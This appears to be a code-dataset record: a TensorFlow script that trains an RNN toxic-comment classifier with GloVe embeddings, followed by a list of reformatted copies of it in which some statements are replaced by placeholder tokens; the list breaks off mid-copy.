aa1a7de92b971b6d10d09b2f8ca2c55516e538e4
|
#! /usr/bin/env python
import tensorflow as tf
import numpy as np
import os
import time
import datetime
import data_helpers
from text_rnn import TextRNN
from tensorflow.contrib import learn
# Parameters
# ==================================================
# Data loading params
flags = tf.app.flags
FLAGS = flags.FLAGS
# Model Hyperparameters
tf.flags.DEFINE_integer("embedding_dim", 100, "Dimensionality of character embedding (default: 100)")
tf.flags.DEFINE_float("dropout_keep_prob", 0.5, "Dropout keep probability (default: 0.5)")
# Training parameters
tf.flags.DEFINE_integer("batch_size", 128, "Batch Size (default: 64)")
tf.flags.DEFINE_integer("num_epochs", 100, "Number of training epochs (default: 200)")
tf.flags.DEFINE_integer("evaluate_every", 500, "Evaluate model on dev set after this many steps (default: 100)")
tf.flags.DEFINE_integer("checkpoint_every", 500, "Save model after this many steps (default: 100)")
tf.flags.DEFINE_integer("num_checkpoints", 3, "Number of checkpoints to store (default: 5)")
# Misc Parameters
tf.flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement")
tf.flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices")
# Data Preparation
# ==================================================
# Load data
print("\nLoading train data...")
x_train, y_train = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')
print("x_train length:{0}, y_train shape:{1}".format(len(x_train), y_train.shape))
print(x_train[0], y_train[0])
print("\nLoading dev data...")
x_dev, y_dev = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')
print("x_dev length:{0}, y_dev shape:{1}".format(len(x_dev), y_dev.shape))
print(x_dev[-1], y_dev[-1])
x = x_train+x_dev
print("x length:{0}".format(len(x)))
# Build vocabulary
# max_sent_length, sent = max([(len(i.split(" ")),i) for i in x])
# print("Max sent length = {0}".format(max_sent_length))
# print("Sent with max length = {0}".format(sent))
max_sent_length = 80
vocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)
x = np.array(list(vocab_processor.fit_transform(x))) #x is an iterable, [n_samples, max_sent_length] Word-id matrix.
print("Shape of word-id matrix: {0}".format(x.shape))
#Transform x_train and x_dev to word-id matrix
x_train = np.array(list(vocab_processor.transform(x_train)))
print("Shape of x_train matrix: {0}".format(x_train.shape))
x_dev = np.array(list(vocab_processor.transform(x_dev)))
print("Shape of x_dev matrix: {0}".format(x_dev.shape))
# Randomly shuffle data
np.random.seed(10)
shuffle_indices = np.random.permutation(np.arange(len(y_train)))
x_train = x_train[shuffle_indices]
y_train = y_train[shuffle_indices]
del x
vocabsize = len(vocab_processor.vocabulary_)
print("Vocabulary Size: {:d}".format(vocabsize))
# Training
# ==================================================
with tf.Graph().as_default():
session_conf = tf.ConfigProto(
allow_soft_placement=FLAGS.allow_soft_placement,
log_device_placement=FLAGS.log_device_placement)
sess = tf.Session(config=session_conf)
with sess.as_default():
rnn = TextRNN(
sequence_length=x_train.shape[1],
num_classes=y_train.shape[1],
vocab_size=vocabsize,
embedding_size=FLAGS.embedding_dim)
# Define Training procedure
global_step = tf.Variable(0, name="global_step", trainable=False)
optimizer = tf.train.AdamOptimizer(1e-3)
grads_and_vars = optimizer.compute_gradients(rnn.loss)
train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step)
# Keep track of gradient values and sparsity (optional)
grad_summaries = []
for g, v in grads_and_vars:
if g is not None:
grad_hist_summary = tf.summary.histogram("{}/grad/hist".format(v.name), g)
sparsity_summary = tf.summary.scalar("{}/grad/sparsity".format(v.name), tf.nn.zero_fraction(g))
grad_summaries.append(grad_hist_summary)
grad_summaries.append(sparsity_summary)
grad_summaries_merged = tf.summary.merge(grad_summaries)
# Output directory for models and summaries
# timestamp = str(int(time.time()))
# out_dir = os.path.abspath(os.path.join(os.path.curdir, "runs", timestamp))
out_dir = os.path.abspath(os.path.join(os.path.curdir, "runs"))
print("Writing to {}\n".format(out_dir))
# Summaries for loss and accuracy
loss_summary = tf.summary.scalar("loss", rnn.loss)
acc_summary = tf.summary.scalar("accuracy", rnn.accuracy)
# Train Summaries
train_summary_op = tf.summary.merge([loss_summary, acc_summary, grad_summaries_merged])
train_summary_dir = os.path.join(out_dir, "summaries", "train")
train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph)
# Dev summaries
dev_summary_op = tf.summary.merge([loss_summary, acc_summary])
dev_summary_dir = os.path.join(out_dir, "summaries", "dev")
dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)
# Checkpoint directory. Tensorflow assumes this directory already exists so we need to create it
checkpoint_dir = os.path.abspath(os.path.join(out_dir, "checkpoints"))
checkpoint_prefix = os.path.join(checkpoint_dir, "model")
if not os.path.exists(checkpoint_dir):
os.makedirs(checkpoint_dir)
saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.num_checkpoints)
# Write vocabulary
vocab_processor.save(os.path.join(out_dir, "vocab"))
# Initialize all variables
sess.run(tf.global_variables_initializer())
vocabulary = vocab_processor.vocabulary_
initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)
sess.run(rnn.W_embed.assign(initEmbeddings))
for v in tf.trainable_variables():
print(v.name)
def train_step(x_batch, y_batch):
"""
A single training step
"""
feed_dict = {
rnn.input_x: x_batch,
rnn.input_y: y_batch,
rnn.dropout_keep_prob: FLAGS.dropout_keep_prob
}
_, step, summaries, loss, accuracy = sess.run(
[train_op, global_step, train_summary_op, rnn.loss, rnn.accuracy],
feed_dict)
time_str = datetime.datetime.now().isoformat()
# print("{}: step {}, loss {:g}, acc {:g}".format(time_str, step, loss, accuracy))
train_summary_writer.add_summary(summaries, step)
return loss,accuracy
def dev_step(x_batch, y_batch, writer=None):
"""
Evaluates model on a dev set
"""
feed_dict = {
rnn.input_x: x_batch,
rnn.input_y: y_batch,
rnn.dropout_keep_prob: 1.0
}
step, summaries, loss, accuracy = sess.run(
[global_step, dev_summary_op, rnn.loss, rnn.accuracy],
feed_dict)
time_str = datetime.datetime.now().isoformat()
print("{}: step {}, loss {:g}, acc {:g}".format(time_str, step, loss, accuracy))
if writer:
writer.add_summary(summaries, step)
return accuracy
# Create batches agnostic of class distributions
batches = data_helpers.batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.num_epochs)
# Create batches aware of imbalance in class distributions
# batches = data_helpers.makeBatches(x_train, y_train[:,1].tolist(), FLAGS.batch_size, FLAGS.num_epochs)
# Training loop. For each batch...
prev_val_acc = 0
for batch in batches:
x_batch, y_batch = zip(*batch)
train_loss, train_acc = train_step(x_batch, y_batch)
current_step = tf.train.global_step(sess, global_step)
if current_step % FLAGS.evaluate_every == 0:
print("\nTrain loss:{0}, Train accuracy:{1}".format(train_loss, train_acc))
print("Evaluation:")
val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)
if val_acc > 0.95 and val_acc > prev_val_acc:
save_path = saver.save(sess, checkpoint_prefix, global_step=current_step)
print("Model checkpoint saved at {0}, accuracy={1}".format(save_path, round(val_acc, 3)))
prev_val_acc = val_acc
print("")
|
[
"#! /usr/bin/env python\n\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport time\nimport datetime\nimport data_helpers\nfrom text_rnn import TextRNN\nfrom tensorflow.contrib import learn\n\n\n# Parameters\n# ==================================================\n\n# Data loading params\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\n\n# Model Hyperparameters\ntf.flags.DEFINE_integer(\"embedding_dim\", 100, \"Dimensionality of character embedding (default: 100)\")\ntf.flags.DEFINE_float(\"dropout_keep_prob\", 0.5, \"Dropout keep probability (default: 0.5)\")\n\n# Training parameters\ntf.flags.DEFINE_integer(\"batch_size\", 128, \"Batch Size (default: 64)\")\ntf.flags.DEFINE_integer(\"num_epochs\", 100, \"Number of training epochs (default: 200)\")\ntf.flags.DEFINE_integer(\"evaluate_every\", 500, \"Evaluate model on dev set after this many steps (default: 100)\")\ntf.flags.DEFINE_integer(\"checkpoint_every\", 500, \"Save model after this many steps (default: 100)\")\ntf.flags.DEFINE_integer(\"num_checkpoints\", 3, \"Number of checkpoints to store (default: 5)\")\n\n# Misc Parameters\ntf.flags.DEFINE_boolean(\"allow_soft_placement\", True, \"Allow device soft device placement\")\ntf.flags.DEFINE_boolean(\"log_device_placement\", False, \"Log placement of ops on devices\")\n\n\n# Data Preparation\n# ==================================================\n# Load data\nprint(\"\\nLoading train data...\")\nx_train, y_train = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')\nprint(\"x_train length:{0}, y_train shape:{1}\".format(len(x_train), y_train.shape))\nprint(x_train[0], y_train[0])\n\nprint(\"\\nLoading dev data...\")\nx_dev, y_dev = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')\nprint(\"x_dev length:{0}, y_dev shape:{1}\".format(len(x_dev), y_dev.shape))\nprint(x_dev[-1], y_dev[-1])\n\nx = x_train+x_dev\nprint(\"x length:{0}\".format(len(x)))\n\n# Build vocabulary\n# max_sent_length, sent = max([(len(i.split(\" \")),i) for i in x])\n# print(\"Max sent length = {0}\".format(max_sent_length))\n# print(\"Sent with max length = {0}\".format(sent))\nmax_sent_length = 80\nvocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)\nx = np.array(list(vocab_processor.fit_transform(x))) #x is an iterable, [n_samples, max_sent_length] Word-id matrix.\nprint(\"Shape of word-id matrix: {0}\".format(x.shape))\n\n#Transform x_train and x_dev to word-id matrix\nx_train = np.array(list(vocab_processor.transform(x_train)))\nprint(\"Shape of x_train matrix: {0}\".format(x_train.shape))\nx_dev = np.array(list(vocab_processor.transform(x_dev)))\nprint(\"Shape of x_dev matrix: {0}\".format(x_dev.shape))\n\n# Randomly shuffle data\nnp.random.seed(10)\nshuffle_indices = np.random.permutation(np.arange(len(y_train)))\nx_train = x_train[shuffle_indices]\ny_train = y_train[shuffle_indices]\n\ndel x\n\nvocabsize = len(vocab_processor.vocabulary_)\nprint(\"Vocabulary Size: {:d}\".format(vocabsize))\n\n# Training\n# ==================================================\n\nwith tf.Graph().as_default():\n session_conf = tf.ConfigProto(\n allow_soft_placement=FLAGS.allow_soft_placement,\n log_device_placement=FLAGS.log_device_placement)\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n rnn = TextRNN(\n sequence_length=x_train.shape[1],\n num_classes=y_train.shape[1],\n vocab_size=vocabsize,\n embedding_size=FLAGS.embedding_dim)\n\n # Define Training procedure\n global_step = tf.Variable(0, name=\"global_step\", trainable=False)\n optimizer = tf.train.AdamOptimizer(1e-3)\n grads_and_vars = optimizer.compute_gradients(rnn.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step)\n\n # Keep track of gradient values and sparsity (optional)\n grad_summaries = []\n for g, v in grads_and_vars:\n if g is not None:\n grad_hist_summary = tf.summary.histogram(\"{}/grad/hist\".format(v.name), g)\n sparsity_summary = tf.summary.scalar(\"{}/grad/sparsity\".format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n\n # Output directory for models and summaries\n # timestamp = str(int(time.time()))\n # out_dir = os.path.abspath(os.path.join(os.path.curdir, \"runs\", timestamp))\n out_dir = os.path.abspath(os.path.join(os.path.curdir, \"runs\"))\n print(\"Writing to {}\\n\".format(out_dir))\n\n # Summaries for loss and accuracy\n loss_summary = tf.summary.scalar(\"loss\", rnn.loss)\n acc_summary = tf.summary.scalar(\"accuracy\", rnn.accuracy)\n\n # Train Summaries\n train_summary_op = tf.summary.merge([loss_summary, acc_summary, grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, \"summaries\", \"train\")\n train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph)\n\n # Dev summaries\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, \"summaries\", \"dev\")\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\n\n # Checkpoint directory. Tensorflow assumes this directory already exists so we need to create it\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, \"checkpoints\"))\n checkpoint_prefix = os.path.join(checkpoint_dir, \"model\")\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.num_checkpoints)\n\n # Write vocabulary\n vocab_processor.save(os.path.join(out_dir, \"vocab\"))\n\n # Initialize all variables\n sess.run(tf.global_variables_initializer())\n\n vocabulary = vocab_processor.vocabulary_\n initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)\n sess.run(rnn.W_embed.assign(initEmbeddings))\n\n for v in tf.trainable_variables():\n print(v.name)\n\n def train_step(x_batch, y_batch):\n \"\"\"\n A single training step\n \"\"\"\n feed_dict = {\n rnn.input_x: x_batch,\n rnn.input_y: y_batch,\n rnn.dropout_keep_prob: FLAGS.dropout_keep_prob\n }\n _, step, summaries, loss, accuracy = sess.run(\n [train_op, global_step, train_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n # print(\"{}: step {}, loss {:g}, acc {:g}\".format(time_str, step, loss, accuracy))\n train_summary_writer.add_summary(summaries, step)\n\n return loss,accuracy\n\n def dev_step(x_batch, y_batch, writer=None):\n \"\"\"\n Evaluates model on a dev set\n \"\"\"\n feed_dict = {\n rnn.input_x: x_batch,\n rnn.input_y: y_batch,\n rnn.dropout_keep_prob: 1.0\n }\n step, summaries, loss, accuracy = sess.run(\n [global_step, dev_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print(\"{}: step {}, loss {:g}, acc {:g}\".format(time_str, step, loss, accuracy))\n if writer:\n writer.add_summary(summaries, step)\n\n return accuracy\n\n # Create batches agnostic of class distributions\n batches = data_helpers.batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.num_epochs)\n\n # Create batches aware of imbalance in class distributions\n # batches = data_helpers.makeBatches(x_train, y_train[:,1].tolist(), FLAGS.batch_size, FLAGS.num_epochs)\n\n # Training loop. For each batch...\n prev_val_acc = 0\n for batch in batches:\n x_batch, y_batch = zip(*batch)\n train_loss, train_acc = train_step(x_batch, y_batch)\n current_step = tf.train.global_step(sess, global_step)\n if current_step % FLAGS.evaluate_every == 0:\n print(\"\\nTrain loss:{0}, Train accuracy:{1}\".format(train_loss, train_acc))\n print(\"Evaluation:\")\n val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)\n if val_acc > 0.95 and val_acc > prev_val_acc:\n save_path = saver.save(sess, checkpoint_prefix, global_step=current_step)\n print(\"Model checkpoint saved at {0}, accuracy={1}\".format(save_path, round(val_acc, 3)))\n prev_val_acc = val_acc\n\n print(\"\")",
"import tensorflow as tf\nimport numpy as np\nimport os\nimport time\nimport datetime\nimport data_helpers\nfrom text_rnn import TextRNN\nfrom tensorflow.contrib import learn\nflags = tf.app.flags\nFLAGS = flags.FLAGS\ntf.flags.DEFINE_integer('embedding_dim', 100,\n 'Dimensionality of character embedding (default: 100)')\ntf.flags.DEFINE_float('dropout_keep_prob', 0.5,\n 'Dropout keep probability (default: 0.5)')\ntf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)')\ntf.flags.DEFINE_integer('num_epochs', 100,\n 'Number of training epochs (default: 200)')\ntf.flags.DEFINE_integer('evaluate_every', 500,\n 'Evaluate model on dev set after this many steps (default: 100)')\ntf.flags.DEFINE_integer('checkpoint_every', 500,\n 'Save model after this many steps (default: 100)')\ntf.flags.DEFINE_integer('num_checkpoints', 3,\n 'Number of checkpoints to store (default: 5)')\ntf.flags.DEFINE_boolean('allow_soft_placement', True,\n 'Allow device soft device placement')\ntf.flags.DEFINE_boolean('log_device_placement', False,\n 'Log placement of ops on devices')\nprint(\"\"\"\nLoading train data...\"\"\")\nx_train, y_train = data_helpers.load_splitted_data_and_labels(\n '../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')\nprint('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train.\n shape))\nprint(x_train[0], y_train[0])\nprint(\"\"\"\nLoading dev data...\"\"\")\nx_dev, y_dev = data_helpers.load_splitted_data_and_labels(\n '../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')\nprint('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape))\nprint(x_dev[-1], y_dev[-1])\nx = x_train + x_dev\nprint('x length:{0}'.format(len(x)))\nmax_sent_length = 80\nvocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)\nx = np.array(list(vocab_processor.fit_transform(x)))\nprint('Shape of word-id matrix: {0}'.format(x.shape))\nx_train = np.array(list(vocab_processor.transform(x_train)))\nprint('Shape of x_train matrix: {0}'.format(x_train.shape))\nx_dev = np.array(list(vocab_processor.transform(x_dev)))\nprint('Shape of x_dev matrix: {0}'.format(x_dev.shape))\nnp.random.seed(10)\nshuffle_indices = np.random.permutation(np.arange(len(y_train)))\nx_train = x_train[shuffle_indices]\ny_train = y_train[shuffle_indices]\ndel x\nvocabsize = len(vocab_processor.vocabulary_)\nprint('Vocabulary Size: {:d}'.format(vocabsize))\nwith tf.Graph().as_default():\n session_conf = tf.ConfigProto(allow_soft_placement=FLAGS.\n allow_soft_placement, log_device_placement=FLAGS.log_device_placement)\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train\n .shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim\n )\n global_step = tf.Variable(0, name='global_step', trainable=False)\n optimizer = tf.train.AdamOptimizer(0.001)\n grads_and_vars = optimizer.compute_gradients(rnn.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=\n global_step)\n grad_summaries = []\n for g, v in grads_and_vars:\n if g is not None:\n grad_hist_summary = tf.summary.histogram('{}/grad/hist'.\n format(v.name), g)\n sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.\n format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs'))\n print('Writing to {}\\n'.format(out_dir))\n loss_summary = tf.summary.scalar('loss', rnn.loss)\n acc_summary = tf.summary.scalar('accuracy', rnn.accuracy)\n train_summary_op = tf.summary.merge([loss_summary, acc_summary,\n grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, 'summaries', 'train')\n train_summary_writer = tf.summary.FileWriter(train_summary_dir,\n sess.graph)\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev')\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints'))\n checkpoint_prefix = os.path.join(checkpoint_dir, 'model')\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.\n num_checkpoints)\n vocab_processor.save(os.path.join(out_dir, 'vocab'))\n sess.run(tf.global_variables_initializer())\n vocabulary = vocab_processor.vocabulary_\n initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)\n sess.run(rnn.W_embed.assign(initEmbeddings))\n for v in tf.trainable_variables():\n print(v.name)\n\n def train_step(x_batch, y_batch):\n \"\"\"\n A single training step\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: FLAGS.dropout_keep_prob}\n _, step, summaries, loss, accuracy = sess.run([train_op,\n global_step, train_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n train_summary_writer.add_summary(summaries, step)\n return loss, accuracy\n\n def dev_step(x_batch, y_batch, writer=None):\n \"\"\"\n Evaluates model on a dev set\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: 1.0}\n step, summaries, loss, accuracy = sess.run([global_step,\n dev_summary_op, rnn.loss, rnn.accuracy], feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step,\n loss, accuracy))\n if writer:\n writer.add_summary(summaries, step)\n return accuracy\n batches = data_helpers.batch_iter(list(zip(x_train, y_train)),\n FLAGS.batch_size, FLAGS.num_epochs)\n prev_val_acc = 0\n for batch in batches:\n x_batch, y_batch = zip(*batch)\n train_loss, train_acc = train_step(x_batch, y_batch)\n current_step = tf.train.global_step(sess, global_step)\n if current_step % FLAGS.evaluate_every == 0:\n print('\\nTrain loss:{0}, Train accuracy:{1}'.format(\n train_loss, train_acc))\n print('Evaluation:')\n val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)\n if val_acc > 0.95 and val_acc > prev_val_acc:\n save_path = saver.save(sess, checkpoint_prefix,\n global_step=current_step)\n print('Model checkpoint saved at {0}, accuracy={1}'.\n format(save_path, round(val_acc, 3)))\n prev_val_acc = val_acc\n print('')\n",
"<import token>\nflags = tf.app.flags\nFLAGS = flags.FLAGS\ntf.flags.DEFINE_integer('embedding_dim', 100,\n 'Dimensionality of character embedding (default: 100)')\ntf.flags.DEFINE_float('dropout_keep_prob', 0.5,\n 'Dropout keep probability (default: 0.5)')\ntf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)')\ntf.flags.DEFINE_integer('num_epochs', 100,\n 'Number of training epochs (default: 200)')\ntf.flags.DEFINE_integer('evaluate_every', 500,\n 'Evaluate model on dev set after this many steps (default: 100)')\ntf.flags.DEFINE_integer('checkpoint_every', 500,\n 'Save model after this many steps (default: 100)')\ntf.flags.DEFINE_integer('num_checkpoints', 3,\n 'Number of checkpoints to store (default: 5)')\ntf.flags.DEFINE_boolean('allow_soft_placement', True,\n 'Allow device soft device placement')\ntf.flags.DEFINE_boolean('log_device_placement', False,\n 'Log placement of ops on devices')\nprint(\"\"\"\nLoading train data...\"\"\")\nx_train, y_train = data_helpers.load_splitted_data_and_labels(\n '../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')\nprint('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train.\n shape))\nprint(x_train[0], y_train[0])\nprint(\"\"\"\nLoading dev data...\"\"\")\nx_dev, y_dev = data_helpers.load_splitted_data_and_labels(\n '../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')\nprint('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape))\nprint(x_dev[-1], y_dev[-1])\nx = x_train + x_dev\nprint('x length:{0}'.format(len(x)))\nmax_sent_length = 80\nvocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)\nx = np.array(list(vocab_processor.fit_transform(x)))\nprint('Shape of word-id matrix: {0}'.format(x.shape))\nx_train = np.array(list(vocab_processor.transform(x_train)))\nprint('Shape of x_train matrix: {0}'.format(x_train.shape))\nx_dev = np.array(list(vocab_processor.transform(x_dev)))\nprint('Shape of x_dev matrix: {0}'.format(x_dev.shape))\nnp.random.seed(10)\nshuffle_indices = np.random.permutation(np.arange(len(y_train)))\nx_train = x_train[shuffle_indices]\ny_train = y_train[shuffle_indices]\ndel x\nvocabsize = len(vocab_processor.vocabulary_)\nprint('Vocabulary Size: {:d}'.format(vocabsize))\nwith tf.Graph().as_default():\n session_conf = tf.ConfigProto(allow_soft_placement=FLAGS.\n allow_soft_placement, log_device_placement=FLAGS.log_device_placement)\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train\n .shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim\n )\n global_step = tf.Variable(0, name='global_step', trainable=False)\n optimizer = tf.train.AdamOptimizer(0.001)\n grads_and_vars = optimizer.compute_gradients(rnn.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=\n global_step)\n grad_summaries = []\n for g, v in grads_and_vars:\n if g is not None:\n grad_hist_summary = tf.summary.histogram('{}/grad/hist'.\n format(v.name), g)\n sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.\n format(v.name), tf.nn.zero_fraction(g))\n grad_summaries.append(grad_hist_summary)\n grad_summaries.append(sparsity_summary)\n grad_summaries_merged = tf.summary.merge(grad_summaries)\n out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs'))\n print('Writing to {}\\n'.format(out_dir))\n loss_summary = tf.summary.scalar('loss', rnn.loss)\n acc_summary = tf.summary.scalar('accuracy', rnn.accuracy)\n train_summary_op = tf.summary.merge([loss_summary, acc_summary,\n grad_summaries_merged])\n train_summary_dir = os.path.join(out_dir, 'summaries', 'train')\n train_summary_writer = tf.summary.FileWriter(train_summary_dir,\n sess.graph)\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\n dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev')\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints'))\n checkpoint_prefix = os.path.join(checkpoint_dir, 'model')\n if not os.path.exists(checkpoint_dir):\n os.makedirs(checkpoint_dir)\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.\n num_checkpoints)\n vocab_processor.save(os.path.join(out_dir, 'vocab'))\n sess.run(tf.global_variables_initializer())\n vocabulary = vocab_processor.vocabulary_\n initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)\n sess.run(rnn.W_embed.assign(initEmbeddings))\n for v in tf.trainable_variables():\n print(v.name)\n\n def train_step(x_batch, y_batch):\n \"\"\"\n A single training step\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: FLAGS.dropout_keep_prob}\n _, step, summaries, loss, accuracy = sess.run([train_op,\n global_step, train_summary_op, rnn.loss, rnn.accuracy],\n feed_dict)\n time_str = datetime.datetime.now().isoformat()\n train_summary_writer.add_summary(summaries, step)\n return loss, accuracy\n\n def dev_step(x_batch, y_batch, writer=None):\n \"\"\"\n Evaluates model on a dev set\n \"\"\"\n feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.\n dropout_keep_prob: 1.0}\n step, summaries, loss, accuracy = sess.run([global_step,\n dev_summary_op, rnn.loss, rnn.accuracy], feed_dict)\n time_str = datetime.datetime.now().isoformat()\n print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step,\n loss, accuracy))\n if writer:\n writer.add_summary(summaries, step)\n return accuracy\n batches = data_helpers.batch_iter(list(zip(x_train, y_train)),\n FLAGS.batch_size, FLAGS.num_epochs)\n prev_val_acc = 0\n for batch in batches:\n x_batch, y_batch = zip(*batch)\n train_loss, train_acc = train_step(x_batch, y_batch)\n current_step = tf.train.global_step(sess, global_step)\n if current_step % FLAGS.evaluate_every == 0:\n print('\\nTrain loss:{0}, Train accuracy:{1}'.format(\n train_loss, train_acc))\n print('Evaluation:')\n val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)\n if val_acc > 0.95 and val_acc > prev_val_acc:\n save_path = saver.save(sess, checkpoint_prefix,\n global_step=current_step)\n print('Model checkpoint saved at {0}, accuracy={1}'.\n format(save_path, round(val_acc, 3)))\n prev_val_acc = val_acc\n print('')\n",
"<import token>\n<assignment token>\ntf.flags.DEFINE_integer('embedding_dim', 100,\n 'Dimensionality of character embedding (default: 100)')\ntf.flags.DEFINE_float('dropout_keep_prob', 0.5,\n 'Dropout keep probability (default: 0.5)')\ntf.flags.DEFINE_integer('batch_size', 128, 'Batch Size (default: 64)')\ntf.flags.DEFINE_integer('num_epochs', 100,\n 'Number of training epochs (default: 200)')\ntf.flags.DEFINE_integer('evaluate_every', 500,\n 'Evaluate model on dev set after this many steps (default: 100)')\ntf.flags.DEFINE_integer('checkpoint_every', 500,\n 'Save model after this many steps (default: 100)')\ntf.flags.DEFINE_integer('num_checkpoints', 3,\n 'Number of checkpoints to store (default: 5)')\ntf.flags.DEFINE_boolean('allow_soft_placement', True,\n 'Allow device soft device placement')\ntf.flags.DEFINE_boolean('log_device_placement', False,\n 'Log placement of ops on devices')\nprint(\"\"\"\nLoading train data...\"\"\")\n<assignment token>\nprint('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train.\n shape))\nprint(x_train[0], y_train[0])\nprint(\"\"\"\nLoading dev data...\"\"\")\n<assignment token>\nprint('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape))\nprint(x_dev[-1], y_dev[-1])\n<assignment token>\nprint('x length:{0}'.format(len(x)))\n<assignment token>\nprint('Shape of word-id matrix: {0}'.format(x.shape))\n<assignment token>\nprint('Shape of x_train matrix: {0}'.format(x_train.shape))\n<assignment token>\nprint('Shape of x_dev matrix: {0}'.format(x_dev.shape))\nnp.random.seed(10)\n<assignment token>\ndel x\n<assignment token>\nprint('Vocabulary Size: {:d}'.format(vocabsize))\nwith tf.Graph().as_default():\n session_conf = tf.ConfigProto(allow_soft_placement=FLAGS.\n allow_soft_placement, log_device_placement=FLAGS.log_device_placement)\n sess = tf.Session(config=session_conf)\n with sess.as_default():\n rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train\n .shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim\n )\n global_step = tf.Variable(0, name='global_step', trainable=False)\n optimizer = tf.train.AdamOptimizer(0.001)\n grads_and_vars = optimizer.compute_gradients(rnn.loss)\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=\n global_step)\n grad_summaries = []\n for g, v in grads_and_vars:\n if g is not None:\n 